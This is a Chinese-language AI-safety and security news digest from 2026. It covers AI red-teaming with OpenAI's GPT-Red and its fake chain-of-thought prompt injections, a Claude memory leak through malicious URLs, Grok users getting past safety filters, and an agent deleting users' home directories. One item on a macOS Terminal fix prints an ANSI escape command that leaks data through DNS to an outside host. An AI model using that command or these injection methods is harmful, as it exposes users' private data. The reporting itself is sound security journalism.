#安全/对齐

谷歌安卓系统漏洞曝光：Gemini 可绕过锁屏密码发送短信，官方即将修复

谷歌安卓系统存在一项身份验证绕过漏洞，攻击者在拥有物理访问权限时，可不输入锁屏密码通过 Gemini 发送短信或 WhatsApp 消息。该漏洞自今年5月起被发现，最初在 Android 16 系统、Pixel 6a 手机中复现，触发方式为在锁屏界面同时按下“继续”和“添加附件”按钮。谷歌已知悉该漏洞，计划本周大范围推送修复补丁。

阶跃星辰与上海期智研究院共建智能体前沿研究院

7月18日，阶跃星辰与上海期智研究院宣布共同设立智能体前沿研究院，围绕智能体网络及经济原理、AI Safety 等方向开展联合研究。双方联合提出“智能体时代五大全球新命题”，从行动权利、责任秩序、安全范式、经济基础和人机共生五个维度回应智能体大规模进入真实世界后的基础性问题。阶跃同步推出 StepStar 顶尖人才计划，面向全球招募智能体领域优秀人才。

开源模型网络攻击能力仅落后闭源前沿4-7个月，成本低至1/50

英国AISI分析发现，GLM-5.2和DeepSeek V4-Pro等开源模型在网络攻击能力上仅落后闭源前沿模型4-7个月。在70项网络任务中，GLM-5.2达到Opus 4.6水平，DeepSeek V4-Pro每项任务仅需28美分，而Opus 4.6需约15美元。

美国海军部发布“AI优先”舰队战略，将慢速采用视为比“不完美对齐”更大的风险

美国海军部正式批准一项“武器化数据与人工智能”新战略，旨在通过快速部署数据与AI构建“AI优先”舰队。该战略核心是“Bits2Effects Cycle”五阶段框架，并以“平均生效时间”（MTTE）衡量从数据捕获到产生军事响应的速度。文件明确采纳了国防部立场：在战时模式下，行动过慢的风险大于系统“不完美对齐”的风险。

Patreon 与 Cloudflare 联手，在平台完全禁止 AI 训练爬虫

Patreon 与 Cloudflare 合作，在其平台上完全禁止为 AI 模型训练搜集资料的爬虫机器人，同时继续允许搜索引擎爬虫爬取内容。Patreon 的付费墙已防止付费内容被 AI 公司无偿使用，新机制则进一步完善对免费媒体内容的防护。早期测试显示，各 AI 训练爬虫每周尝试访问 Patreon 的次数从数千次骤降至零次。

商汤科技徐立：优秀 AI 产品应助力人类成长，而非制造依赖

商汤科技董事长徐立在2026世界人工智能大会上表示，优秀AI产品不应制造依赖，而应助力人类成长、解锁个体可能性。他呼吁AI在安全边界下发展，产品理念应是“增强而非替代”。徐立坦言流程化岗位会被AI优化，但世界经济论坛数据显示，到2030年AI将减少9200万个岗位，同时创造1.7亿个新岗位。

Claude Code v2.1.214 发布：修复权限绕过、添加 EndConversation 工具与多项 Bash 权限检查改进

Claude Code v2.1.214 修复了 Windows PowerShell 5.1 中的权限检查绕过漏洞，以及 Bash 权限检查对超长命令（超过 10,000 字符）和 zsh 变量下标比较的误判问题。

Rohan Paul@rohanpaul_ai· 07:32AI 评分5656

领先开源模型在长周期网络能力上已追近闭源前沿，差距从2025年大部分时间的6-10个月缩至4-7个月。GLM-5.2在长周期网络靶场中匹配了约7个月前发布的Claude Opus 4.5。OpenAI的GPT-5.6 Sol在32步“The Last Ones”靶场中10次尝试完成7次，且性能随推理token增加而提升。

OpenAI@OpenAI· 06:32AI 评分5555

GPT-5.6 Sol 在“The Last Ones”网络靶场中创下网络安全领域新 SOTA。 我们已经看到这一能力转化为防御成果：帮助团队在真实代码中发现、验证并修复漏洞。 通过 Codex Security 投入使用：https://openai.com/daybreak/codex-security-plugin/#desktop-codex

Rohan Paul@rohanpaul_ai· 05:32AI 评分4242

一项涉及3132人的5项实验发现，AI建议显著抑制了人们说“不知道”的意愿。无AI时，参与者对44%的问题会暂缓判断，而AI介入后该比例骤降至3%。即使AI给出故意错误的建议，参与者正确率从27%降至9%，但自信心反而更高。

Greg Brockman@gdb· 05:10同事件AI 评分6565

GPT-5.6 Sol 是网络安全领域的最先进模型。在将其应用于发现和修复新型漏洞方面，看到了显著成果。

同一件事，精选收录的是《OpenAI 预览新一代模型 GPT-5.6 Sol》

TikTok 开始测试 AI 肖像检测工具，允许创作者举报 AI 生成内容

TikTok 正在测试一项可选工具，可扫描 AI 生成的肖像并允许创作者向平台举报。该工具目前仅对“部分”美国创作者开放测试，创作者需先通过 Jumio 完成实时自拍扫描和身份验证。TikTok 表示不会保留身份证件和面部信息。

GPT-5.6 在完全访问模式下意外删除用户文件，OpenAI 称“不应发生”

OpenAI 的 GPT-5.6 在启用“Full Access Mode”且无沙盒保护时，因试图覆盖临时目录变量（$HOME）而意外清空整个主目录，导致“少数”用户文件被删除。OpenAI 表示该问题极为罕见但不应发生，正更新开发者文档并增加额外防护措施，预计数日内发布事故分析报告。系统卡显示，要求模型“特别坚持”的系统提示会加剧此破坏性行为。

Anthropic 副首席信息安全官发布智能体 AI 风险评估框架：零风险不是目标

Anthropic 副首席信息安全官 Jason Clinton 分享了其团队在采用智能体 AI 过程中的经验教训，并提出了一套用于安全构建和部署智能体的风险评估框架。该框架通过四个核心问题（摄入的不可信内容、可执行的操作、失控时的爆炸半径、可观测性）来评估风险，并强调“最小代理权限”原则。Anthropic 的默认策略是管理员控制的分阶段推出，并指出与意图偏离的智能体在行为上无异于内部攻击。

工信部召开重点车企座谈会，强调抵制非理性竞争、加强自动驾驶安全评估

工信部装备工业一司今日召开重点汽车生产企业座谈会，要求车企坚决抵制非理性竞争，加强产品测试验证与安全评估。会议特别强调要加强组合驾驶辅助和自动驾驶功能安全评估，强化企业在功能安全、网络安全、数据安全等方面的保障能力，不得夸大和虚假宣传。下一步，工信部将会同相关部门开展道路机动车辆产品生产一致性和质量提升行动，集中整治突出问题。

抖音严打 AI 生成虚假灾害画面，发布防汛期涉灾信息治理公告

抖音发布防汛期涉灾信息治理公告，重点打击利用 AI 生成虚假灾害画面、翻炒旧闻编造灾情等行为。平台通过 AI 技术识别、人工复核及权威信息交叉比对，已累计核验典型涉灾谣言 71 起，处置相关谣言内容 1.9 万余条，清理评论区谣言 1.6 万余条，并对 20 个违规账号进行处罚。抖音同时上线 39 则求真卡，视频底部求真条累计曝光超 11.9 亿次。

微软正开发AI漏洞检测工具“感知项目”，类似Anthropic Mythos模型，最快7月发布

微软正在开发一款名为“感知项目”（Project Perception）的AI漏洞检测工具，旨在帮助企业识别并修复软件漏洞，最快本月发布。该产品将整合微软、OpenAI和Anthropic的AI模型，并采用“模型路由”技术，在不同模型间分配任务以控制成本。此举是微软新任安全主管Hayete Gallo主导的首批重大项目之一，旨在以更低价格提供与Anthropic Mythos同等的安全能力。

智能体互信互联互操作全球合作倡议发布，中国网信办提出十大行动方向

中国网信办在2026世界人工智能大会上正式提出《智能体互信互联互操作全球合作倡议》，围绕技术研发、标准互认、安全伦理等十个方面提出行动方向。倡议呼吁加大智能体身份标识与协作互认等共性技术投入，推动多智能体从“可控交互”向“自主协同”演进，并优先将成果用于气候变化、公共卫生等全球性议题。

新 AI 漏洞披露：可从 Claude 记忆中泄露姓名与工作单位等信息

安全研究员 Ayush Paul 披露了一种针对 Claude 的攻击方法，可在用户不知情下将存储的个人信息（如姓名、工作单位）通过恶意 URL 发送到外部网站。Anthropic 已通过 HackerOne 漏洞赏金项目知晓该问题，并在报告提交后关闭了 web_fetch 跟随外部页面内链接的能力。

《人工智能合作发展行动计划》《国际人工智能伦理治理行动计划》在上海发布

2026世界人工智能大会今日在上海召开，国家发展改革委会同有关部门发布《人工智能合作发展行动计划》，从数据、算力、生态、赋能、人才、规则、治理和伦理等方面提出八项行动。工业和信息化部指导发布《国际人工智能伦理治理行动计划》，围绕AI全生命周期伦理治理、风险分类分级防控等方向提出行动框架。两部行动计划旨在响应联合国加强AI国际合作、弥合数字鸿沟的倡议，并为全球AI治理提供公共产品。

Suno 部分源码泄露，证实其从 YouTube Music 等平台抓取数百万首歌曲训练 AI

黑客泄露的 Suno 内部源代码显示，该 AI 歌曲生成平台从 YouTube Music、Deezer、Genius 等平台抓取数百万首歌曲和歌词用于训练模型。

Meta AI 上线新功能：青少年讨论自杀或自残话题时将自动通报家长

Meta 宣布，青少年与 Meta AI 聊天机器人谈及自杀或自残相关话题时，系统将通知其父母。AI 标记的每段对话会先由人工审核再决定是否发出警报。该功能已在美国、英国、澳大利亚和加拿大的 Instagram 家长监督功能中上线，今年年底前推广至全球。

AISI 首次公开评估：领先开源权重模型的网络安全能力落后前沿 4 至 7 个月

英国 AI Security Institute 首次公开分析领先开源权重模型的网络安全能力差距，测试发现 GLM-5.2 是测试时最强的开源权重模型，在 AISI 窄域网络任务上接近 4 个月前发布的 Opus 4.6，在长时程网络靶场上接近 Opus 4.5，整体落后前沿 4 至 7 个月，窄于 2025 年 1 至 9 月内部评估测得的 6 至 10 个月。

xAI 起诉 Grok 用户制作儿童性虐待内容，不再否认模型被滥用

xAI 首次对一名 Grok 用户提起诉讼，指控其利用该模型制作儿童性虐待图像（CSAM）。此前 xAI 一直否认 Grok 能生成此类内容，此次诉讼标志着其立场转变。案件聚焦用户滥用行为，而非模型本身的技术缺陷。

OpenAI 公布 GPT-Red：内部自动化红队模型在提示注入测试中以 84% 对 13% 击败人类红队成员

OpenAI 训练了内部攻击模型 GPT-Red，通过自我对弈强化学习对抗防御 LLM 群体。在复现的间接提示注入测试中，GPT-Red 以 84% 对 13% 击败人类红队成员，发现了一种新型“虚假思维链”攻击类别，并将 GPT-5.6 Sol 在 OpenAI 最难直接注入基准上的失败率降低 6 倍。OpenAI 承认该模型在多轮和基于图像的攻击上仍有困难。

54%企业已遭遇AI智能体安全事件，多数仍共享凭证

VentureBeat调查107家企业发现，54%已遭遇AI智能体安全事件（18%确认事故，36%险些酿祸）。仅32%为每个智能体分配独立身份凭证，30%将高风险智能体隔离在沙箱中。安全工具主要依赖模型提供商原生方案，专用智能体安全产品渗透率极低。

GPT-5.6 Codex 在特定条件下会意外删除文件

OpenAI 调查发现，GPT-5.6 的 Codex 功能在启用完全访问模式且未开启沙箱保护（包括未启用自动审查）时，会意外删除文件。触发条件还包括模型尝试覆盖 `$HOME` 环境变量以定义临时目录，或模型误将 `$HOME` 目录删除。

OpenAI 强调青少年应获得安全 AI 访问权，推出 Study Mode 等保护措施

OpenAI 发文主张青少年应获得安全的 AI 访问权，并分享了针对 teen 用户的保护措施。目前每周有近 9 成 teen 用户使用 ChatGPT 进行学习、信息获取或技能提升。OpenAI 已推出 Study Mode（默认开启引导式学习而非直接给答案）、年龄预测、家长控制（可设置静音时段、关闭语音模式等）、以及针对暴力、自残、色情角色扮演等内容的安全护栏。

世界人工智能合作组织协定签署仪式在上海举行，总部设中国上海

7月16日，成立世界人工智能合作组织协定签署仪式在上海举行，中共中央政治局委员、外交部长王毅代表中国政府签署协定。该组织是独立的政府间国际组织，总部设在中国上海，旨在促进人工智能国际合作与全球治理。哈萨克斯坦、老挝、巴基斯坦等29个国家代表签署协定成为创始成员国。

网民利用AI编造“高考估分715查分299”谣言被警方行政拘留

福建厦门籍网民周某使用AI工具批量生成虚假网文，编造“四川绵阳考生周某禾高考估分715分、实际查分仅299分”等情节，制造负面传言博取流量并非法牟利。经四川绵阳教育及公安部门核查，帖文内容纯属虚构，当地并无该考生。周某已被绵阳警方依据2026年1月1日起实施的新修订《治安管理处罚法》第二十九条处以行政拘留。

Google DeepMind@GoogleDeepMind· 20:12AI 评分4545

生物安全格局正在快速演变。 为了在未来疫情中抢占先机，我们正与 @IsomorphicLabs 合作，概述我们的生物韧性策略。 以下是我们如何部署前沿 AI 来构建全球健康的主动防御体系 → https://goo.gle/4wKHXk2

Google DeepMind 与 Isomorphic Labs 公布生物弹性联合方案：用 AI 预防、检测和应对疫情

Google DeepMind 与 Isomorphic Labs 公布生物弹性联合方案，通过防止模型滥用、利用 AlphaFold 和 IsoDDE 等技术加速疫苗与药物设计，以及借助 AlphaEvolve 优化病原体监测，在预防、检测和响应三个领域推进生物安全。过去 12 个月，团队已与 15 个以上政府及生物安全组织建立合作，并探索将 SynthID 水印技术应用于 DNA 合成筛查。

因谷歌与美国国防部达成AI合作，DeepMind研究员Alex Turner辞职

谷歌DeepMind研究科学家Alex Turner因公司与美国国防部签署AI合作协议，于今年6月辞职。Turner曾提出军事AI应用框架，要求确保人类控制目标识别与打击系统，但未获采纳。谷歌约600名员工此前签署请愿书反对该协议，公司则坚持AI不应用于缺乏人工监督的自主武器系统。

macOS Terminal DiLLMa 研究后续：间接提示词注入到 DNS 数据外泄的攻击链已被 Apple 修复

Johann Rehberger 报告 Apple 已在 macOS Tahoe 26.1（2025 年 11 月 3 日发布）中修复 macOS Terminal 的一个行为，该行为曾允许 ANSI 转义序列（如 printf "\e]7;file://some.data.wuzzi.net/\a"）触发 DNS 请求，实现数据外泄。

Cloudflare 推出 Precursor：一键导入，持续检测机器人流量

Cloudflare 推出持续行为验证型机器人管理引擎 Precursor，支持一键导入，在浏览器中通过分析鼠标移动、打字节奏等交互轨迹判断流量来源。数据显示自动化机器人流量约占所有网络请求的 57%，首次超过人类活动。Precursor 记录汇总行为模式而非具体输入，以保障隐私，同时规避了现有 AI 可绕过的 CAPTCHA 认证。

OpenAI 发布内部红队模型 GPT-Red，用于自动化网络攻击模拟

OpenAI 介绍了其内部使用的网络安全“红队”模型 GPT-Red，可自动化模拟网络攻击以提升产品模型的鲁棒性。过去半年，GPT-5.3 后的每个生产模型均使用了该模型训练，伪造思维链型攻击成功率从 GPT-5.1 的 95% 降至最新模型的不足 10%，GPT-5.6 Sol 在直接提示符注入攻击中失败率仅 0.05%。GPT-Red 采用自博弈强化学习训练，与防御型 LLM 同步对抗进化。

xAI 起诉 Grok 用户滥用 AI 生成儿童性虐待材料

xAI 起诉南卡罗来纳州男子特里·哈伍德，指控其滥用 Grok 生成儿童性虐待材料及未经同意的色情深度伪造内容。xAI 称 2026 年已暂停 52222 个账户，向美国国家失踪与受虐儿童中心提交 73604 份报告，促成至少 244 人被捕。xAI 要求法院判令哈伍德支付赔偿金并永久禁止其使用 Grok。

DogeDesigner@cb_doge· 06:30AI 评分4545

SpaceXAI 起诉一名 Grok 用户，指控其创建虚假账户并多次试图绕过安全机制，将成人与儿童照片转换为 CSAM。SpaceXAI 称其检测与报告协助警方逮捕该用户，其面临南卡罗来纳州八项重罪指控。2026 年，SpaceXAI 已封禁 52,222 个账户并向 NCMEC 提交 73,604 份报告，协助至少 244 人被捕。

xAI 起诉一名男子使用 Grok 生成儿童性虐待材料深度伪造内容

xAI 起诉南卡罗来纳州男子 Terry Wayne Harwood，指控其“明知且故意”使用 Grok AI 聊天机器人绕过安全措施、生成并传播儿童性虐待材料（CSAM），违反公司政策。Harwood 已于今年 2 月因涉嫌持有和传播 CSAM 被捕，面临八项重罪指控。xAI 在诉讼中称，与 Harwood 刑事指控相关的“至少部分”图像系使用 Grok 生成或篡改。

OpenAI 用 AI 攻击自家 AI：GPT-Red 自动发现安全漏洞，成功率 84% 远超人类

OpenAI 训练了内部 AI 模型 GPT-Red，通过自我对弈强化学习自动模拟提示词注入等攻击，在测试场景中成功率达 84%，而人类红队仅为 13%。GPT-Red 的发现直接用于训练，使 GPT-5.6 Sol 在直接提示词注入上的故障次数比四个月前的最佳模型减少六倍，且未影响通用性能。约 3.8% 的“更强”提示词注入仍能成功，GPT-Red 暂不对外开放。